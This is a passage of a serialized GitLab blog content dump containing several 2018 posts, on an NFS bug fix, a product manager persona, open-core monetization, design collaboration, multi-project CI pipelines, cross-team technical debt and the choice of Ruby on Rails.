correctly\n> on reopen of a file that is already open. Currently, we can end up not\n> revalidating either in the case of NFSv4.0, due to the 'cached open'\n> path.  Let's fix that by ensuring that we only do cached open for the\n> special cases of open recovery and delegation return.\n\nWe confirmed that this fix made the stale file problem go away and filed\nbug reports with\n[Ubuntu](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1802585)\nand [RedHat](https://bugzilla.redhat.com/show_bug.cgi?id=1648482).\n\nKnowing full well that kernel changes may take a while to make it to\nstable releases, we also added a [workaround in\nGitaly](https://gitlab.com/gitlab-org/gitaly/merge_requests/924) to deal\nwith this issue. We did experiments to test that calling `stat()` on the\n`packed-refs` file appears to cause the kernel to revalidate the dentry\ncache for the renamed file. For simplicity, this is implemented in\nGitaly regardless of whether the filesystem is NFS; we only do this once\nbefore Gitaly \"opens\" a repository, and there are already other `stat()`\ncalls that check for other files.\n\n## What we learned\n\nA bug can be anywhere in your software stack, and sometimes you have to\nlook beyond your application to find it. Having helpful partners in the\nopen source world makes that job much easier.\n\nWe are extremely grateful to Trond Myklebust for fixing the problem, and\nBruce Fields for responding to questions and helping us understand\nNFS. Their responsiveness and professionalism truly reflects the best of\nthe open source community.\n\nPhoto by [dynamosquito](https://www.flickr.com/photos/dynamosquito) on [Flickr](https://www.flickr.com/photos/dynamosquito/4265771518)\n{: .note}\n",[267,1067,676,815],{"slug":31495,"featured":6,"template":678},"how-we-spent-two-weeks-hunting-an-nfs-bug","content:en-us:blog:how-we-spent-two-weeks-hunting-an-nfs-bug.yml","How We Spent Two Weeks Hunting An Nfs Bug","en-us/blog/how-we-spent-two-weeks-hunting-an-nfs-bug.yml","en-us/blog/how-we-spent-two-weeks-hunting-an-nfs-bug",{"_path":31501,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31502,"content":31508,"config":31513,"_id":31515,"_type":16,"title":31516,"_source":17,"_file":31517,"_stem":31518,"_extension":20},"/en-us/blog/inside-our-new-product-manager-persona",{"title":31503,"description":31504,"ogTitle":31503,"ogDescription":31504,"noIndex":6,"ogImage":31505,"ogUrl":31506,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31506,"schema":31507},"What do product managers need to do their best work?","Check out some of the findings that led to our new Product Manager Persona.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678857/Blog/Hero%20Images/investigating-how-product-managers-use-gitlab.jpg","https://about.gitlab.com/blog/inside-our-new-product-manager-persona","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What do product managers need to do their best work?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Katherine Okpara\"}],\n        \"datePublished\": \"2018-11-12\",\n      }",{"title":31503,"description":31504,"authors":31509,"heroImage":31505,"date":31510,"body":31511,"category":8943,"tags":31512},[28270],"2018-11-12","\nRecently I spoke with several product managers and asked them about their experiences, as part of our [effort to create personas](/blog/personas-and-empathy-building/) for every one of GitLab's [product areas](/handbook/product/categories/). I gained a lot of insight through these interviews, including a better understanding of their daily duties, goals and motivations, challenges they face in their roles, and the tools they use throughout the software development lifecycle. Many of the findings have been included in our new [Product Manager Persona, Parker](/handbook/product/personas/), to help our own PMs brainstorm improvements and next steps for GitLab features. You can peruse the highlights and the persona itself below, and let us know what you think by tweeting us [@gitlab](https://twitter.com/gitlab)!\n\n## The research\n\nHere are some of the findings from my [eight interviews](https://gitlab.com/gitlab-org/ux-research/issues/88) conducted for the persona.\n\n### So, what’s the hardest part about being a product manager?\n\nThe product manager persona represents people who are responsible for prioritizing feature requests, product roadmapping, and tracking progress of the development of software applications. Since many of these factors depend on how other team members perform, most challenges related to communication and ensuring that their team delivers on time.\n\n#### Staying updated on team progress and important decisions\n\nIt can be difficult to know the status of certain requirements when other team members do not update the various tools that are being used. Important information can get lost along the way, which often leads to repetitive discussions or fixing incorrect work. Users were looking for ways to have this information readily accessible and consistently communicated throughout their teams.\n\n> \"Getting other people to use the tools. I need to make sure that other people are updating the Jira board for example – in my experience, many developers don’t exactly love to do this since it’s a tedious task. Or, if they have a question, adding it in the task so that we can keep a record of everything that’s being worked on. Sometimes someone will send me a question on Slack and I’ll copy-paste that into the ticket since sometimes it’s easier for me to do that than to ask someone to get used to doing that.\"\n\n#### Prioritizing features to build when dealing with limited resources\n\nProduct managers are often responsible for defining and scoping features, incorporating company objectives into the product roadmap, and giving developers and designers the requirements they need to deliver strong features. As a result, product teams often have trouble balancing feature requests with development capacity.\n\n> \"...Being able to find balance between being strategic and being practical. Being able to look into the future and be ambitious while at the same time having to put out fires and manage the day-to-day. Another challenge is staying in touch with the end user. We do not have as much time to be on top of the market and to interview customers. We're not as able to get market feedback and do market research as well...\"\n\n#### Simplifying information\u2028 for the different stakeholders involved in the product\n\nThe need to give clients and stakeholders timelines and estimates that are accurate but also realistic can be very stressful for a product manager. This is largely due to the fact that a cycle is often unpredictable. It can also be challenging to explain why certain features have been delayed or deprioritized, when customers and upper-level management are not working closely with the team.\n\n>\u2028\"Some of the challenges of working with the technical team leads is that they will forget to update things or they’ll give me a summary that is super technical so I have to ask more questions to make sure that I understand and have the ability to explain to other product managers where the developers are stuck, because they need more definition on what that feature should look like.\"\n\n### What motivates a product manager?\n\nProduct managers generally are motivated by the desire to deliver high-quality features in a timely manner. When company objectives shift, they want to have a standard process for communication, so that they can be in sync with all team members. They need to see an overview of all the relevant information related to a feature or product, so that they can monitor progress throughout a cycle. Additionally, they want to be able to help their teams accomplish more of their goals over time.\n\n### What’s the best part about being a product manager?\n\nAll in all, the interviewees all expressed the joy they receive from simply doing their jobs, whether that’s improving life for users or speeding up processes within the company. The best part of being a product manager is the opportunity to bring a concept to life and solve real problems for their users.\n\n## The persona\n\n![Parker, Product Manager persona](https://about.gitlab.com/images/blogimages/product-manager-persona.png){: .shadow.center}\n\nKeep an eye out for the rest of our series on the [new personas](/handbook/product/personas/)!\n\n[Photo](https://unsplash.com/photos/YiRQIglwYig) by [Hello I'm Nik](https://unsplash.com/@helloimnik) on Unsplash\n{: .note}\n",[942,676,1444],{"slug":31514,"featured":6,"template":678},"inside-our-new-product-manager-persona","content:en-us:blog:inside-our-new-product-manager-persona.yml","Inside Our New Product Manager Persona","en-us/blog/inside-our-new-product-manager-persona.yml","en-us/blog/inside-our-new-product-manager-persona",{"_path":31520,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31521,"content":31527,"config":31532,"_id":31534,"_type":16,"title":31535,"_source":17,"_file":31536,"_stem":31537,"_extension":20},"/en-us/blog/monetizing-and-being-open-source",{"title":31522,"description":31523,"ogTitle":31522,"ogDescription":31523,"noIndex":6,"ogImage":31524,"ogUrl":31525,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31525,"schema":31526},"How GitLab makes money","Monetizing open source ≠ an 'open source' company. Our CEO Sid Sijbrandij explains how we got over the barriers to monetizing an open source company.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678896/Blog/Hero%20Images/monetizing-os.jpg","https://about.gitlab.com/blog/monetizing-and-being-open-source","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab makes money\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Aricka Flowers\"}],\n        \"datePublished\": \"2018-11-09\",\n      }",{"title":31522,"description":31523,"authors":31528,"heroImage":31524,"date":31529,"body":31530,"category":299,"tags":31531},[29394],"2018-11-09","\nWhile the number of businesses based on open source technology is growing exponentially, that doesn't mean a profitable open source company is truly open. Our CEO [Sid Sijbrandij](/company/team/#sytses) believes the key lies in not just being [a steward of an open source project](/company/stewardship/), but more so in being [transparent](https://handbook.gitlab.com/handbook/values/#transparency) and [collaborative](https://handbook.gitlab.com/handbook/values/#collaboration) – going so far as to allow the public to play a role in the way the company is run. And that’s what he’s aiming to do with GitLab:\n\n>\"We want to take it one step further, where you're not only taking open source and contributing back to that project, but you're also allowing people to contribute back to what you make – in our case GitLab – to improve the company. Sometimes people from the wider community contribute to [our handbook](/handbook/) to make improvements. I think that's really exciting. And in order for us to not create a rift between GitLab the open source project and GitLab the company, we try to work out in the public. Our strategy, our OKRs (Objectives and Key Results), all of the issues we work on are out there in the public. People can see what we're doing, and comment on it. I think that's a superpower. I'm very proud that people keep contributing to GitLab and we're working really hard to keep it that way.\"\n\n## Finding the right business model: Trial and error\n\nWhile the number of open source companies is trending up, making free software profitable is not an easy feat. Sid and co-founder and Engineering Fellow [Dmitriy Zaporozhets](/company/team/#dzaporozhets) experimented with a number of business models for GitLab before finding a formula that worked.\n\n### Donations\n\n\"Dmitriy used to talk about ice cream money, which were donations,\" Sid recalls. \"They were seven bucks a month, so he and his wife could buy ice cream once a month from the donations. We tried that and got up to $1,000 in the most profitable month after having a big drive. But that wasn't sustainable to run a company with multiple employees.\"\n\n### Feature request fees and paid support\n\nThey also tried charging a fee to build requested features from users. But that model fell apart when people found out there were others making the same request and, instead of paying for a fraction of the feature, dropped their order with the expectation that another user or company would pay for it. Sid and Dmitriy then moved to a support model, but found it to be a catch-22. As they improved the product, fewer people needed support. But to do a less-than-stellar job in the installation of GitLab \"kind of destroys\" the brand, Sid says.\n\n### Open core\n\n\"In the end, we settled on [open core](/blog/gitlab-is-open-core-github-is-closed-source/), where [some features are paid](/pricing/). The hard thing was deciding which features are paid. I think after many years we now have a good way to determine that. The feature aimed at an individual contributor, it's open source. If it's aimed at a manager, it's in Starter. If it's aimed at a director, it's in Premium. And if it's aimed at a C-level exec, it's in Ultimate. That brings a lot of clarity and it seems to work really well, but it took us a while to figure that one out.\"\n\n## What’s next\n\nTo continue engaging with and growing GitLab’s presence in the open source community, Sid plans to open the company’s summit to the wider community. The [next summit](/events/gitlab-contribute/), which occurs every nine months, is set to include about 100 community members and customers, and that figure is expected to grow in the future.\n\nWe’re also giving folks a view into our operations via more videos and plan to open our books for all to see as soon as we can.\n\n\"We’re doing more live streaming and putting recordings up on [YouTube](https://www.youtube.com/c/gitlab),\" Sid says. \"I think we're at over 400 videos now, but anything we have, it doesn't matter what the quality is, we want to post it for people to consume. I'm really excited at what's happening there.\n\n\"Another thing I look forward to doing is being more open about our financials. We plan and hope to be a public company one day, and then we will be open about our financials every quarter. As soon as we have audited financials, we'll start doing those calls, even when we're still a private company.\"\n\n[Cover image](https://unsplash.com/photos/Xaanw0s0pMk) by [Jason Leung](https://unsplash.com/@ninjason) on Unsplash\n{: .note}\n",[676,815],{"slug":31533,"featured":6,"template":678},"monetizing-and-being-open-source","content:en-us:blog:monetizing-and-being-open-source.yml","Monetizing And Being Open Source","en-us/blog/monetizing-and-being-open-source.yml","en-us/blog/monetizing-and-being-open-source",{"_path":31539,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31540,"content":31546,"config":31552,"_id":31554,"_type":16,"title":31555,"_source":17,"_file":31556,"_stem":31557,"_extension":20},"/en-us/blog/gitlab-for-designers",{"title":31541,"description":31542,"ogTitle":31541,"ogDescription":31542,"noIndex":6,"ogImage":31543,"ogUrl":31544,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31544,"schema":31545},"Help us shape the future of design discussion in GitLab","We've identified the need for full integration of user experience design within the DevOps lifecycle, and would love your feedback on how to make that happen.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680008/Blog/Hero%20Images/design-discussion.jpg","https://about.gitlab.com/blog/gitlab-for-designers","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Help us shape the future of design discussion in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sarrah Vesselov\"}],\n        \"datePublished\": \"2018-11-08\",\n      }",{"title":31541,"description":31542,"authors":31547,"heroImage":31543,"date":31549,"body":31550,"category":299,"tags":31551},[31548],"Sarrah Vesselov","2018-11-08","\n\nAt GitLab, we do everything using, well, GitLab. Using our product as part of our workflow allows us to experience, firsthand, the limitations and frustrations that may prevent our users (and us) from being able to get work done quickly and efficiently. In the user experience (UX) department, we've found ourselves struggling with some important aspects of our day-to-day work – this is what we've found, and how we hope to address it:\n\n## Design discussions quickly become hard to follow\n\nDesign discussion happens inside of issues at GitLab. Typically, a designer will post a wireframe, mockup, or prototype within a comment on an issue to elicit feedback from others. The transparency is excellent: product managers, engineers, and designers can all come together to talk over the problem and the possible solutions. Problems creep in when conversations get too lengthy, hard to follow, and involve multiple iterations of a design. How can we make design discussion at GitLab more useful and accessible?\n\n## We need version control for design files\n\nWe use Sketch for our day-to-day design work. The UX department's Sketch files live within a [design repository](https://gitlab.com/gitlab-org/gitlab-design) to ensure that all designers have access to current patterns and solutions. However these files are not version controlled within the repository, so designers keep personal folders for work-in-progress designs. How can we version control our files within GitLab and eliminate the need to keep multiple versions of a particular design?\n\n## A competitive analysis of design platforms and applications\n\nTo start looking for solutions to these problems, we conducted a competitive analysis of the other platforms and applications out there tackling design creation, collaboration, and handoff. We wanted to know: What are other design teams doing to address these problems? Are there existing aspects of GitLab we can leverage to solve these problems? If not, what would an [MVC](/handbook/product/product-principles/#the-minimal-viable-change-mvc) look like to integrate designers more efficiently into GitLab?\n\n### Summary of findings\n\nToday's average user is tech savvy, with high expectations for interface usability. Products must be useful and easy to use for users with a wide range of backgrounds, experiences, and expectations. As a result, enterprise-level companies have invested heavily in building UX teams to produce beneficial experiences. These UX teams have distinct requirements for the toolsets they use. Design tools must be able to:\n\n* Improve UX consistency\n* Enable research and testing of designs with users\n* Clarify requirements\n* Facilitate collaboration between teams (Engineering, PM, UX)\n* Version control design files\n* Minimize duplication of work with an SSOT\n* Minimize context switching\n\nThe last requirement, minimize context switching, really stood out. Enterprise designers work on a variety of platforms. The market has exploded over the past decade, with a majority of designers moving from using desktop software to cloud-based platforms. Designers want and need a single-platform approach. They must have the ability to design, collaborate, and share their work with the rest of the organization within one platform.\n\nThis single-platform approach presents a unique opportunity for us. GitLab is the first single application built from the ground up for all stages of the DevOps lifecycle for Product, Development, QA, Security, and Operations teams to work concurrently on the same project. A significant missing piece of this lifecycle is UX design.\n\n### Areas of opportunity for GitLab:\n\n* Review and collaboration\n* Interaction design\n* Version control\n* Developer handoff\n* Design system management\n\nThe total market potential is over US $4 billion and growing. With no clear winners in the design tool space, there is a significant opportunity for an application that can successfully engage developers and design teams in the DevOps lifecycle.\n\nYou can view the [complete competitive analysis here](https://docs.google.com/document/d/12o6h6Fm7bAjhW5AK1r-PNhvn0QrQwZncorYNia12e3Q/edit?usp=sharing).\n\n## What's next?\n\nA logical place to start is by improving discussion within issues. Design proposals are available in issue descriptions, shared and discussed in comments, and it's not always clear which is the latest version. While we have the option to mark and [comment on specific image spots in the blob view and merge requests](https://docs.gitlab.com/ee/user/discussions/#image-discussions), the actual design collaboration happens much earlier in the process.\n\nOne idea is to make design artifacts a first-class citizen by linking to design assets in the side navigation of an issue. We could allow for commenting on images and propagate these comments in the sidebar for focused and cohesive discussion.\n\nWe want to know what you think! You can take a look at and comment on the [design artifacts discovery issue here](https://gitlab.com/gitlab-org/gitlab-ce/issues/53587).\n\n[Photo](https://www.pexels.com/photo/notes-clean-whiteboard-board-7067/) by [Startup Stock Photos](https://www.pexels.com/@startup-stock-photos) on Pexels.\n{: .note}\n",[2368,676,2249,2248,4103],{"slug":31553,"featured":6,"template":678},"gitlab-for-designers","content:en-us:blog:gitlab-for-designers.yml","Gitlab For Designers","en-us/blog/gitlab-for-designers.yml","en-us/blog/gitlab-for-designers",{"_path":31559,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31560,"content":31565,"config":31571,"_id":31573,"_type":16,"title":31574,"_source":17,"_file":31575,"_stem":31576,"_extension":20},"/en-us/blog/use-multiproject-pipelines-with-gitlab-cicd",{"title":31561,"description":31562,"ogTitle":31561,"ogDescription":31562,"noIndex":6,"ogImage":12013,"ogUrl":31563,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31563,"schema":31564},"Multi-project pipelines for streamlined repository workflow","You can connect CI/CD pipelines and artifacts for multiple related projects to make managing interactions easy.","https://about.gitlab.com/blog/use-multiproject-pipelines-with-gitlab-cicd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to streamline interactions between multiple repositories with multi-project pipelines\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fabio Busatto\"}],\n        \"datePublished\": \"2018-10-31\",\n      }",{"title":31566,"description":31562,"authors":31567,"heroImage":12013,"date":31568,"body":31569,"category":734,"tags":31570},"How to streamline interactions between multiple repositories with multi-project pipelines",[31287],"2018-10-31","\nModern software products consist of different components and\n[microservices](/topics/microservices/) that work together, relying on many libraries and dependencies:\nbecause of this, many projects cannot be limited to one single repository.\n\nWith [GitLab 9.3](/releases/2017/06/22/gitlab-9-3-released/#multi-project-pipeline-graphs)\nwe released [multi-project pipelines](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html)\nto make interactions between different repositories easy to manage. Here's a look at how they work.\n\nNote: these features are available in GitLab [Premium](/pricing/#self-managed), [Gold subscriptions](/pricing/#gitlab-com),\nand public projects on GitLab.com only.\n{: .note}\n\n## What are multi-project pipelines, and how do they help?\n\nMulti-project pipelines span multiple repositories, creating a\nconnection between them. But what is technically possible to achieve, and how?\n\n### Start an external pipeline directly from your job\n\nThe most important feature is the ability to trigger an external pipeline\nfrom `gitlab-ci.yml`: using the special variable `$CI_JOB_TOKEN` and the\n[Pipeline Trigger API](https://docs.gitlab.com/ee/api/pipeline_triggers.html)\nyou can start another pipeline in a different project directly from your job,\nwithout setting any additional authentication token or configuration in the\ntarget project: GitLab automatically detects the user running the caller\npipeline, and run the target one with the same privileges.\n\nThe [`$CI_JOB_TOKEN` variable](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html)\nis automatically created when a job starts: it is associated with the user\nthat is running the job, so GitLab is able to enforce permissions when\ndealing with other related projects. It is also very limited in capabilities,\nand it is automatically destroyed as soon as the job ends, to prevent abuses.\n\n### Easily view related pipelines\n\nAnother very useful feature is the ability to see how projects are linked\ntogether directly in the [pipeline graph](https://docs.gitlab.com/ee/ci/pipelines/index.html#pipeline-graphs):\nupstream and downstream stages are rendered as squared boxes and connected\nto the main flow. They give you the status of the related pipelines and you\ncan easily jump to them by clicking the boxes. This feature is also available\nin the pipeline mini-graph that is shown in the Merge Request Widget (this\nfeature was released with [GitLab 9.4](/releases/2017/07/22/gitlab-9-4-released/#mini-graph-for-multi-project-pipelines)).\n\n![Multi-project pipeline graph](https://about.gitlab.com/images/blogimages/multi_project_pipeline_graph.png){: .shadow.center}\n *\u003Csmall>See how upstream and downstream pipelines are shown on both sides of the graph\u003C/small>*\n\n### Download artifacts from another project\n\nYou can also use the `$CI_JOB_TOKEN` variable with the Jobs API in order to\n[download artifacts](https://docs.gitlab.com/ee/api/jobs.html#get-job-artifacts)\nfrom another project. This is very helpful if one of the related pipelines\ncreates a dependency that you need (this has been possible since\n[GitLab 9.5](/releases/2017/08/22/gitlab-9-5-released/#cijobtoken-variable-for-artifacts-api)).\n\n## Why do we need multi-project pipelines?\n\nLet's see how multi-project pipelines could be very useful when dealing\nwith real-life projects.\n\n### Automatically test changes across all connected components\n\nA common development pattern is to have an API provider, a web\nfrontend, and some additional services (bulk data processing, email management,\netc). Each of these components has its own life in a different repository,\nbut they are strictly connected: a change in one of them should trigger\nbuilds and integration tests in all the related projects in order to check\nthat the changes are not introducing unintended behaviors. Linking those\nprojects with multi-project pipelines automates this task, and users\nwill receive notifications in case of failures.\n\n### Automatically trigger downstream pipelines for packaging\n\nAnother common scenario where multi-project pipelines can be used to simplify\nthe development workflow is packaging and releasing software: every time a\nchange is pushed to the stable branch, a downstream pipeline for the repository\nthat is responsible for packaging the application is triggered automatically.\nThis pipeline can easily fetch the latest artifacts from all the repositories\nthat contain the components of the application and create a Docker image or a\npackage that can be then published and distributed.\n\n## Example application\n\nYou can find [an example application here](https://gitlab.com/gitlab-examples/multi-project-pipelines/).\nIt consists of a Maven package and a command line app that uses it as a dependency.\n\nThe package is built and deployed to the [GitLab Maven Repository](https://docs.gitlab.com/ee/user/packages/maven_repository/index.html),\nthen it triggers a multi-project pipeline to update the entire application.\n\nYou can look at the [upstream](https://gitlab.com/gitlab-examples/multi-project-pipelines/simple-maven-dep/pipelines/33011429)\nand [downstream](https://gitlab.com/gitlab-examples/multi-project-pipelines/simple-maven-app/pipelines/33012000)\npipelines to see how the two projects interact to keep everything up to date.\n\n## Conclusion\n\nMulti-project pipelines are very helpful when dealing with big applications\nthat are not fully contained in a single repository. Existing features allow\nusers to connect them together and automate processes without complex setups.\n\nWe want to continue iterating on multi-project pipelines, and everyone is\ninvited to give feedback on this feature and suggest how we can make it even more\npowerful in the future.\n\n[Cover image](https://unsplash.com/photos/m3TYLFI_mDo?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) by Gerrie van der Walt on [Unsplash](https://unsplash.com/search/photos/pipes?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[110],{"slug":31572,"featured":6,"template":678},"use-multiproject-pipelines-with-gitlab-cicd","content:en-us:blog:use-multiproject-pipelines-with-gitlab-cicd.yml","Use Multiproject Pipelines With Gitlab Cicd","en-us/blog/use-multiproject-pipelines-with-gitlab-cicd.yml","en-us/blog/use-multiproject-pipelines-with-gitlab-cicd",{"_path":31578,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31579,"content":31585,"config":31590,"_id":31592,"_type":16,"title":31593,"_source":17,"_file":31594,"_stem":31595,"_extension":20},"/en-us/blog/how-do-we-handle-engineering-led-initiatives-that-dont-belong-to-one-team",{"title":31580,"description":31581,"ogTitle":31580,"ogDescription":31581,"noIndex":6,"ogImage":31582,"ogUrl":31583,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31583,"schema":31584},"How do we handle engineering-led issues that don't belong to one team?","A recent issue sparked a lively discussion between engineering and product leadership about how 'cross-vertical' issues should be prioritized to avoid the bystander effect.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678916/Blog/Hero%20Images/how-do-we-handle-engineering-led-initiatives.jpg","https://about.gitlab.com/blog/how-do-we-handle-engineering-led-initiatives-that-dont-belong-to-one-team","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How do we handle engineering-led issues that don't belong to one team?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2018-10-30\",\n      }",{"title":31580,"description":31581,"authors":31586,"heroImage":31582,"date":31587,"body":31588,"category":299,"tags":31589},[22017],"2018-10-30","\nThe GitLab engineering team is split according to [product category](/handbook/product/categories/), so that team members in each category can [focus, specialize, and collaborate](/blog/configure-post/) on the same issues at the same time. They are semi-siloed by design, so what happens to issues, like tech debt, that are everyone and no one’s responsibility?\n\nThe short answer is, teams are still figuring it out. A recent [issue](https://gitlab.com/gitlab-org/gitlab-ce/issues/52150) sparked a lively discussion and video call, which you can watch below. Listen in below on the discussion between engineering and product leadership about how technical debt or other engineering initiatives that are \"cross-vertical\" (that is, touch on many different product areas) should be prioritized given that there isn't one clear point of contact or responsibility for those issues.\n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://www.youtube.com/embed/3ZEI4W_Cb2g\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n### The gist\n\nThe issue that started it all had to do with a task that would have been assigned to the former Platform team, which used to be a catch-all that has since been split up into Create and Manage. Engineering Manager, Create [Douwe Maan](/company/team/#DouweM) explains, “With all backend teams now focused on specific product areas... there is no team to take on these kinds of backend-wide, non-product-area specific issues anymore.”\n\nHe continues, “Issues like this affect all backend teams equally, so we fall prey to the bystander effect. When an engineering manager gets to make room in a given release for an engineering-led initiative, they have the choice between issues like this, that any team could pick up, and product area-specific issues, that aren't going to get done unless their team does it, so the latter will have a far higher chance of being picked. Everyone cares about these kinds of issues, which means no one cares... there are many issues (technical debt and otherwise) that aren't currently anyone's responsibility, so they won't get done.”\n\nThis felt like a recurring problem due to other recent examples of cross-vertical initiatives stalling, like this issue to [switch to Rails 5 in production](https://gitlab.com/gitlab-org/gitlab-ce/issues/48991), and this issue to [update GitLab's referrer policy](https://gitlab.com/gitlab-org/gitlab-ce/issues/39147).\n\n### The research\n\nWe've heard from our community that this is a common problem, especially when working with others in different functions. In [recent interviews](https://drive.google.com/file/d/1A5mSNoPJydjcWKE4rdO2287sjnABxGDA/view) with 15 DevOps engineers, many expressed their frustration at the amount of reactive work and rework that they face, and identified a lack of successful coordination and empathy between different teams as the culprit. One interviewee said he thought this is inherent to working with some functions. Because of how release schedules work for developers and security engineers, he thinks these groups are the least likely to feel they are able to assign cycles to some proactive tasks, like fixing technical debt before it's critical.\n\nThe nearly 20 [software engineers](https://drive.google.com/file/d/1EVrjVcgIBbuNf4Gwenajsiy6Wv9HsTJw/view) we [interviewed](https://drive.google.com/file/d/15GksPiH0xmy4nRhylhMDIWmuvdHMWof4/view) also brought up their frustration at the way that technical debt can transform a seemingly simple task into a massive effort requiring them to rewrite or refactor a large chunk of code. More than the time spent on these tasks, several developers mentioned their concern that others might see them as dragging their feet and becoming a blocker when they take the time to resolve the technical debt. After all, it was just \"a simple task.\"\n\nThe responsibility to fix these issues becomes even more muddied when no particular team owns them. One [study of 95 teams in 25 leading corporations found that the majority of cross-functional teams are dysfunctional](https://hbr.org/2015/06/75-of-cross-functional-teams-are-dysfunctional), in large part because siloes self-perpetuate. The authors argue the solution is to create a “Portfolio Governance Team (PGT), where high-level leaders make complex decisions on the various projects in their portfolio together.\" The number one rule for making a PGT successful? \"Every project should have an end-to-end accountable leader.\"\n\n### The fix\n\nAlong these lines, one long-term solution being discussed at GitLab is establishing a dedicated team that will transcend the product areas and be responsible for these murky in-between issues. But Director of Engineering, Dev Backend [Tommy Morgan](/company/team/#itstommymorgan) adds, “Even if we had a team that was in place to handle issues like this one, there will always be boundary conditions. As Product is responsible for prioritizing work, if we need to do any horse-trading or other determination to figure out where the work should land, I think that's something that Product should work out.”\n\nShort of creating a new team, Product Managers and Engineering Managers will need to frankly discuss their own priorities and incentives in order to get these tasks scheduled.\n\nWhat has your org tried? Is it working? Tweet us [@gitlab](https://twitter.com/gitlab).\n\n[Photo](https://unsplash.com/photos/fIq0tET6llw) by [Diego PH](https://unsplash.com/@jdiegoph) on Unsplash.\n{: .note}\n",[2368,4103,676,1444],{"slug":31591,"featured":6,"template":678},"how-do-we-handle-engineering-led-initiatives-that-dont-belong-to-one-team","content:en-us:blog:how-do-we-handle-engineering-led-initiatives-that-dont-belong-to-one-team.yml","How Do We Handle Engineering Led Initiatives That Dont Belong To One Team","en-us/blog/how-do-we-handle-engineering-led-initiatives-that-dont-belong-to-one-team.yml","en-us/blog/how-do-we-handle-engineering-led-initiatives-that-dont-belong-to-one-team",{"_path":31597,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31598,"content":31603,"config":31608,"_id":31610,"_type":16,"title":31611,"_source":17,"_file":31612,"_stem":31613,"_extension":20},"/en-us/blog/why-we-use-rails-to-build-gitlab",{"title":31599,"description":31600,"ogTitle":31599,"ogDescription":31600,"noIndex":6,"ogImage":13493,"ogUrl":31601,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31601,"schema":31602},"Why we use Ruby on Rails to build GitLab","Here's our CEO on GitLab’s inception using Rails, and how challenges are being handled along the way.","https://about.gitlab.com/blog/why-we-use-rails-to-build-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why we use Ruby on Rails to build GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Aricka Flowers\"}],\n        \"datePublished\": \"2018-10-29\",\n      }",{"title":31599,"description":31600,"authors":31604,"heroImage":13493,"date":31605,"body":31606,"category":299,"tags":31607},[29394],"2018-10-29","\nWhen our Co-founder and Engineering Fellow [Dmitriy Zaporozhets](/company/team/#dzaporozhets) decided to build GitLab, he chose to do it with Ruby on Rails, despite working primarily in PHP at the time. GitHub, a source of inspiration for GitLab, was also based on Rails, making it a logical pick considering his interest in the framework. GitLab CEO [Sid Sijbrandij](/company/team/#sytses) thinks his co-founder made a good choice:\n\n\"It's worked out really well because the Ruby on Rails ecosystem allows you to shape a lot of functionality at a high quality,\" he explained. \"If you look at GitLab, it has an enormous amount of functionality. Software development is very complex and to help with that, we need a lot of functionality and Ruby on Rails is a way to do it. Because there's all these best practices that are on your happy path, it’s also a way to keep the code consistent when you ship something like GitLab. You're kind of guided into doing the right thing.\"\n\n### Depending on useful gems\n\nRuby gems play an integral role in the building of GitLab, with it loading more than a thousand non-unique gems, according to Sid. Calling the Ruby on Rails framework \"very opinionated,\" he thinks it's a strong environment in which to build a complex app like GitLab.\n\n\"There's a great ecosystem around it with gems that can make assumptions about how you're doing things and in that regard, I think the Ruby on Rails ecosystem is still without par,\" he says. \"If you look at our Gemfile, it gives you an indication of how big the tower is of dependencies that we can build on. Ruby on Rails has amazing shoulders to stand on and it would have been much slower to develop GitLab in any other framework.\"\n\n### Overcoming challenges\n\nAll of this is not to say there haven’t been challenges in building GitLab with Ruby on Rails. Performance has been an issue that our developers have made strides to improve in a number of ways, including rewriting code in Go and [using the Vue framework](/blog/why-we-chose-vue/). The latter is being used to rewrite frequently accessed pages, like issues and merge requests, so they load faster, improving user experience.\n\nGo is being used to address other issues affecting load times and reduce memory usage.\n\n\"Ruby was optimized for the developer, not for running it in production,\" says Sid. \"For the things that get hit a lot and have to be very performant or that, for example, have to wait very long on a system IO, we rewrite those in Go … We are still trying to make GitLab use less memory. So, we'll need to enable multithreading. When we developed GitLab that was not common in the Ruby on Rails ecosystem. Now it's more common, but because we now have so much code and so many dependencies, it's going to be a longer path for us to get there. That should help; it won't make it blazingly fast, but at least it will use less 